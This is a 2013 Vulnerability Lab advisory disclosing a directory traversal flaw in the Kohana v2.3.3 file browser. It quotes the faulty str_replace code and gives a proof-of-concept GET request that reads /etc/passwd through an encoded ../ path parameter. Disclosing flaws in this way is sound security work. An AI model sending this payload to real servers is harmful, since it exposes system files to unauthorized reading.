Kohana Framework v2.3.3 - Directory Traversal Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Title:
======
Kohana Framework v2.3.3 - Directory Traversal Vulnerability


Date:
=====
2013-01-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=841


VL-ID:
=====
837


Common Vulnerability Scoring System:
====================================
7.1


Introduction:
=============
Kohana is an open source, object oriented MVC web framework built using PHP5 by 
a team of volunteers that aims to be 
swift, secure, and small. (copy from vendor website) This is an OOP framework 
that is extremely DRY. Everything is built 
using strict PHP 5 classes and objects. Many common components are included: 
translation tools, database access, code 
profiling, encryption, validation, and more.

Extending existing components and adding new libraries is very easy. Uses the 
BSD license, so you can use and modify it for 
commercial purposes. Benchmarking a framework is hard and rarely reflects the 
real world, but Kohana is very efficient and 
carefully optimized for real world usage. Very well commented code and a simple 
routing structure makes it easy to understand 
what is happening. Simple and effective tools help identify and solve 
performance issues quickly.

(Copy of the Vendor Homepage: http://kohanaframework.org/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered a Directory Traversal web 
vulnerability in the Kohana v2.3.3 Content Management System.


Report-Timeline:
================
2013-01-27:     Public Disclosure


Status:
========
Published


Affected Products:
==================
Kohana
Product: Framework - Content Management System 2.3.3


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A Directory Traversal web vulnerability is detected in the Kohana Content 
Management System web application.
The vulnerability allows remote attackers to request local directories and 
files of the web server application system.

The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` 
file in line 90 when processing to request 
the path dir via replace. The filter replaces `../` by null and it applies on 
file reading requests. 

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path'   => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), 
$filename)
));

Remote attackers can bypass the validation with the vulnerable replace function 
in the file browser to read local 
web server files via directory (path) traversal attack.

Exploitaton of the vulnerability requires no privileged application user 
account and no user interaction.
Successful exploitation of the vulnerability results in read of arbitrary 
system files to compromise web server.

Vulnerable Module(s):
                                [+] Filebrowser

Vulnerable Function(s):
                                [+] str_replace > dir

Vulnerable Parameter(s): 
                                [+] ?path


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without privileged 
application user account and without required user interaction.
For demonstration or reproduce ...

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path'   => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), 
$filename)
));


Review: GET Request
GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..
%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd 
HTTP/1.0
Host: media.[server].com
User-Agent: Kami VL


PoC: 
http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd
 


Risk:
=====
The security risk of the directory traversal web vulnerability is estimated as 
high(+).
 


Credits:
========
Vulnerability Laboratory [Research Team]  - Karim B. 
(kami@xxxxxxxxxxxxxxxxxxxxx)


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===========
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